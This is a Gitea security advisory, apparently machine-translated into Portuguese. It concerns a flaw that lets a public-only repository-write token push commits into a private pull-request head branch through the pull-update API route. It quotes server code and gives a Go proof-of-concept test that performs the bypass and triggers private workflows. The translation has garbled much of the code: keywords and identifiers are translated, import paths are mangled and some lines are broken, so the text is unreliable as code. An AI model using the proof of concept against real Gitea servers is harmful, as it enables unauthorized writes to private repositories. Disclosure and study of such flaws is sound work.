### Resumo A Gitea permite que um token `só público, write:repository` atualize um ramo privado do cabeça de pedido de puxação através de uma rota de repositório de base pública. O objetivo vulnerável é. ``` Texto POST /api/v 1 /repos/ {public- owner}/ {public- owner}/pulls/ {index}/ atualizar `` A Gitea verifica a restrição do token somente público contra o repositório de rotas, que é o repositório de base pública. ` UpdatePillRequest()`, em seguida, autoriza o repositório de cabeça de pedido de puxação com o RBAC comum do usuário e chama o serviço de atualização de puxação. Se o repositório principal for privado, a restrição do token ativo somente público não é reaplicada a esse repositório privado antes que a Gitea introduza alterações nele. Como resultado, o mesmo símbolo que não pode escrever diretamente para o repositório privado pode ainda fazer com que a Gitea empurre os commits da base pública para o ramo de cabeça privada. ### Detalhes As rotas API de solicitação de puxação são anexadas sob um grupo de rotas de repositório. A verificação somente com o público aplica- se ao `ctx.Repo.Repository`, o repositório de rota/base.
``` go // roteadores/api/v 1 /api.go: 1358 - 1394 m.Group("/pulls", func() { m. Combo("").Get( repo.ListPullRequests). Post( reqToken(), deveNão serArquivado, bind( api. CreatePullRequestOption{}), repo.CreatePullRequest) m.Get("/pinned", repo.ListPinnedPullRequests) m.Post("/comments/{id}/resolve", reqToken(), deve serNão serArquivado, repo.ResolverPullReviewComment) m.Post("/comments/{id}/unresolve", reqToken(), deve serArquivado, repo.UnresolvePullReviewComment) m.Group("/{index}", func() { m. Combo("").Get( repo.GetPullRequest). Patch( reqToken(), bind( api. EditPullRequestOption{}), repo. EditPullRequest) m.Get(". {diffType: diff Óptico}", repo.DownloadPillDiffOrPatch) m.Post("/ atualização", reqToken(), repo. UpdatePillRequest) m.Get("/ commits", repo.GetPullRequestCommits) m.Get("/ arquivos", repo.GetPullRequestFiles) m.Combo("/ merge").Get( repo.IsPullRequestMerged). Post( reqToken(), deveNão serArquivado, bind(forms.MergePillRequestForm{}), repo.MergePillRequest). Apagar(reqToken(), não deve serArquivado, repo.CancelarAutoMerge programado) m.Grupo("/reviews", func() { m.Combo(""). Get( repo.ListPullReviews). Post( reqToken(), bind( api.CreatePullReviewOptions{}), repo.CreatePullReview) m.Group("/ {id}", func() { m.Combo(""). Get(repo. GetPullReview). Apagar( reqToken(), repo.ApagarRevisão de Pull. Post( reqToken(), bind( api. submitPullReviewOptions{}), repo. submitPullReview) m.Combo("/ comments"). Get(repo.GetPullReviewComments) m.Post("/ despede", reqToken(), bind(api.DismissPullReviewOpções{}), repo.DismissPullReview) m.Post("/ undismissals", repo.UnDismissPullReview) }) }) m.Combo("/ requested_ reviewers", reqToken()). Apagar( bind( api. PullReviewRequestOptions{}), repo.EleteReviewRequests. Post(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests) }) m.Get("/{base}/*", repo.GetPillRequestByBaseHead) }, mustPermitirPulls, reqRepoReader(unidade.TypeCode), context.ReferencesGitRepo()) ``` ``` go // roteadores/api/v 1 /api.go: 1465 - 1466 }, reposAssignment(), checkTokenPublicOnly()) }, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository)) Para ` POST / api/ v 1 /repos/{public- owner}/{public- repo}/pulls/{index}/update`, o repositório de rotas pode ser público, por isso um token `public- only,write:repository` passa pela verificação de rotas somente público. O gestor de atualização verifica então se o chamador pode atualizar o branch de cabeça de PR: ``` go // roteadores/api/v 1 /repo/pull.go: 1220 - 1270 pr, err:= issues_model.GetPillRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt 64 ("index")) se err!= nul { se events_model.IsErrPullRequestNotExist( err) { ctx.APIErrorNotFound() } senão { ctx.APIErrorInternal( err) } retorna }.
se pr.HasMerged { ctx.APIError(http.StatusUnprocessableEntity, err) devolver }. se err = pr.LoadIssue(ctx); err!= nul { ctx.APIErrorInternal( err) retorna } se pr.Issue.IsClosed { ctx.APIError(http.StatutUnprocessableEntity, err) devolver }. if err = pr.LoadBaseRepo(ctx); err!= nul { ctx.APIErrorInternal( err) retorna } se err = pr.LoadHeadRepo(ctx); err!= nul { ctx.APIErrorInternal( err) retorna } Rebase:= ctx.FormString("estilo") == "rebase". PermitidoUpdateByMerge, PermitidoUpdateByRebase, err:= pull_service.IsUserPermitidoAUpdate(ctx, pr, ctx.Doer) se err!= nul { ctx.APIErrorInternal(err) retorna } if (!permitidoUpdateByMerge & &!rebase).. (rebase & &!permitidoUpdateByRebase) { ctx.Status(http.StatusProibido) retorna }. // por omissão mescla de commit:= fmt.Sprintf("Mergar o ramo '%s' em%s", pr.BaseBranch, pr.HeadBranch) ``` O serviço verifica o repositório de cabeça usando a permissão normal do repositório do usuário:.
```go // services/pull/ update.go: 136 - 164 // IsUserPermitedToUpdate check se o usuário é permitido atualizar PR com permissões e proteçãos de ramos dados // update PR significa enviar novos commits para o ramo de cabeça de PR do func de ramo base IsUserPermitedToUpdate(ctx context.Context, puxar *issues_model.PullRequest, user *user_model.User) (pushPermitido, rebasePermitido bool, erro de erro) { se o usuário == nul { retorna falso, falso, nul } se errr:= pull.LoadBaseRepo(ctx); errr!= nul { retorna falso, falso, errr } se errr:= pull.LoadHeadRepo(ctx); err!= nul { retorna falso, falso, er} // 1. verifique se o pedido de puxação está habilitado. prBaseUnit, err:= puxar.BaseRepo.GetUnit(ctx, unit.TypePullRequests) se repo_model.IsErrUnitTypeNotExist( err) { devolver falso, falso, nulo // a unidade PR está desativada no repo base significa que nenhuma atualização é permitida } se errr!= nulo { devolver falso, falso, fmt.Errorf("get base repo unit:%v", err)} // 2. só suporta o pedido de puxação do estilo Github se puxar.Flow == issues_model.PullRequestFlowAGit { retorna falso, falso, nulo } // 3. verifique a permissão do usuário empurrar no repositório de cabeças empurrarPermitido, rebasePermitido, err = isUserPermitidoAPuxarOrForcePushInRepoBranch(ctx, user, puxar.HeadRepo, puxar.HeadBranch) se err!= nul { retornar falso, falso, err } ``` Essa é uma decisão comum do RBAC de conta. Ele não pergunta se o token API ativo está permitido acessar ou mutar `pull.HeadRepo`.
Se permitido, o serviço de atualização executa uma atualização de fusão/rebase e empurra para o repositório principal: ```go // services/pull/ update.go: 89 - 100 backPR:= &issues_model.PullRequest{ BaseRepoID: pr. HeadRepoID, BaseRepo: pr. HeadRepo, BaseBranch: pr. HeadBranch, HeadRepoID: pr.BaseRepoID, HeadRepo: pr.BaseRepo, HeadBranch: pr.BaseBranch, }. _, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, "", mensagem, repositório.PushTriggerPRUpdateWithBase) retorna err ``` O resultado é uma gravação privada do repositório do lado do servidor realizada através de uma rota pública. ### PoC ````go import ( "codificação/base 64 " "Fmt" "net/http" "net/url" "teste" "tempo".
actions_model "code.gitea.io/gitea/models/actions" auth_model "code.gitea.io/gitea/models/auth" repo_model "code.gitea.io/gitea/models/repo" unit_model "code.gitea.io/gitea/models/unit" "code.gitea.io/gitea/models/unitest" user_model "code.gitea.io/gitea/models/user" "code.gitea.io/gitea/modules/gitepo" api "code.gitea.io/gitea/modules/structus" webhook_module "code.gitea.io/gitea/modules/modules/modules/gitea/gitea/gitea/gitea/gitea/gitea "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ). Func TestPOCPublicSomenteRepositoryTokenAtualizaçõesPrivadaPRHeadBranch(t *testing.T) { onGiteaRun(t, func(t *testing.T, _ *url.URL) { doer:= unittest.AssertarExistsAndLoadBean(t, &user_model.User{Nome: "usuário" 1 "}) baseRepo, err:= repo_service.CrearRepository(t.Context(), doer, doer, repo_service.CrearRepoOptions{ Nome: "public-pr-update-base", Descrição: "public base repository for public-soly PR update PoC", AutoInit: true, Readme: "Default", DefaultBranch: "main", IsPrivate: false, }) require.NoError(t, errr) HeadRepo, err:= repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOpções{ BaseRepo: baseRepo, nome: "private-pr-update-head", Descrição: "private head repository for public-only PR update PoC", SingleBranch: baseRepo.DefaultBranch, }) require.NoError(t, headRepo) require.NoError(t, repo_service.UpdateRepositoryUnidos(t.t.Context(), headRepo, []repo_model.RepoUnit{{ RepoID: headRepo.ID, Tipo: unit_model.TypeAcções, }}, nul)) headRepo = unitestest.AssandLoadBeant(, &repo_model.Repo.Repo.} headBranch:= Teste "privado-head-update"CreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{ OldBranch: baseRepo.DefaultBranch, NewBranch: headBranch, }, map[string]string{ "private-head-marker.txt": "private branch branchmark", }) const workflowID = "private-push.yml" const workflowSentinel = "FAULTLINE_POC_ 062 _PRIVATE_ACTION" testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{ OldBranch: headBranch, NewBranch: headBranch, }, map[string]string{ ".gitea/workflows/" + workflowID: fmt.Sprintf(` nome: private-push on: empurre: ramins: -%s job: private-head- job: run- on: ubuntu- ultest steps: - run: echo%s `, headBranch, workflowSentinel), }).
require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{ ID: headRepo.ID, IsPrivate: true, }, "is_private")) headRepo = unittest.AsserteExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID}) require.True(t, headRepo.IsPrivate) baselinePrivadaHeadRuns:= unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) sessão:= loginUser(t, doer.Name) publicApenasToken:= getTokenForLoggedInUser(t, session, auth_model.AccessoTokenScopePublicApenas, auth_model.AccessoTokenScopeWriteRepository, ). PublicPath:= "public-base-injected-in-private.txt" publicMarker:= "FAULT- GITEA- 062 conteúdo de base pública atingido cabeça privada" createPublicBaseFile:= api.CreateFileOptions{ FileOptions: api.FileOptions{ BranchName: baseRepo.DefaultBranch, Mensagem: "Criar marcador público para atualização da cabeça privada", }, ContentBase 64: base 64.StdEncoding.EncodeToString([]byte(publicMarker)), } req:= Nova PetiçãoCom oJSON(t, "POST", fmt.Sprintf("/api/v 1 /repos/%s/content/%s", baseRepo.NomeFull(), PublicPath), & criePublicBaseFile. AdicionarTokenAuth(publicOnlyToken) MakeRequest(t, req, http.StatusCreated) PrivatePath:= "direct-private-write-write-will-bewil-fail.txt" diretoPrivateWrite:= api.CreateFileOptions{ FileOptions: api.FileOptions{ BranchName: headBranch, Message: "direct private write try", }, ContentBase 64: base 64.StdEncoding.EncodeToString([]byte("direto marcador de gravação privada")), } req = Nova PetiçãoCom oJSON(t, "POST", fmt.Sprintf("/api/v 1 /repos/%s/content/%s", headRepo.FullName(), PrivatePath), & directPrivateWrite. AddTokenAuth(publicOnlyToken) MakeRequest(t, req, http.StatusNotFound) prPayload:= map[string]string{ "title": "faultline public-only private head update", "base": baseRepo.DefaultBranch, "head": fmt.Sprintf("%s/%s:%s", doer.Name, headRepo.Name, headBranch), } req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/apiv/ 1 /repos/%s/pulls", baseRepo.NomeFull()), prPayload. AddTokenAuth(publicOnlyToken) rep:= MakeRequest(t, req, http.StatusCreated).
Var pr api.PullRequest DecodeJSON(t, resp, &pr) requer.Igual(t, prPayload["título"], pr.Título). gitRepo, err:= gitrepo.OpenRepository(t.Context(), headRepo) requer.NoError(t, err) defding gitRepo.Fechar() commit, err:= gitRepo.GetBranchCommit(headBranch) require.NoError(t, err) _, err = commit.GetBlobByPath(publicPath) require.Error(t, err). req = Nova requisição(t, "POST", "/ api/v 1 /repos/%s/pulls/%d/ update?style=merge", baseRepo.FullName(), pr.Index. AddTokenAuth(publicOnlyToken) MakeRequest(t, req, http.StatusOK) asserte.Eventualmente(t, func() bool { retorno umitstest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > linha de basePrivateHeadRuns }, 5 * hora. Segundo, 50 * tempo.Milisegundo) açãoRun:= unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{ RepoID: headRepo.ID, WorkflowID: workflowID, }, unittest.OrderBy("id DESC")) assert.Equal(t, webhook_module.HookEventPush, actionRun.Event) assert.Equal(t, "push", actionRun.TriggerEvent) assert.Equal(t, doer.ID, actionRun.TriggerUserID) assert.NotEmpty(t, actionRun.CommitSHA) job:= unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID}) asserte.Contém(t, string(job.WorkflowPayload), workflowSentinel). commit, err = gitRepo.GetBranchCommit(headBranch) require.NoError(t, err) blob, err:= commit.GetBlobByPath(publicPath) require.NoError(t, err) content, errr:= blob.GetBlobContent( 1024 ) requerer.NoError(t, err) asserte.Igual(t, PublicMarker, conteúdo) }) } ```.
### Impacto O atacante precisa de um símbolo válido `só para público, write:repository` para um usuário que tenha permissão normal de gravação para o ramo privado de cabeça de PR. O atacante também precisa de um repositório de base pública e de uma relação de solicitação de puxação onde a base pública pode ser fundida ou rebasada no cabeçal privado. A exploração bem sucedida dá a um repositório privado gravar primitivo através de um símbolo que se limita explicitamente a repositórios públicos. O impacto direto é integridade: os comets de base pública são empurrados para um ramo privado mesmo que as gravações de repositório privado direto sejam rejeitadas para o mesmo símbolo. Quando as ações estão ativadas no repositório de cabeça privada, o mesmo empurrão do lado do servidor também faz filas no fluxo de trabalho "push" do repositório privado. O PoC confirma um `ActionRun` e `ActionRunJob` são criados para o repositório de cabeça privada com o evento de push ativado pelo ataque. Registro de aconselhamento: GHSA- xxjv- 752 h- 3 vp 2. Identificadores relacionados: CVE- 2026 - 58443.
Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 21 T 20: 38: 06.000 Z e lista a sua última modificação como 2026 - 07 - 21 T 20: 38: 06.000 Z. Gravidade: Crítico. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H. Software afetado e informações de versão: Go package code.gitea.io/gitea — ECOSISTEM: introduzido 0, corrigido 1.27.0. Classificação e evidência: identificadores de fraqueza CWE- 863. O registro contém 3 suporte de referências nestes tipos: WEB, PACKAGE.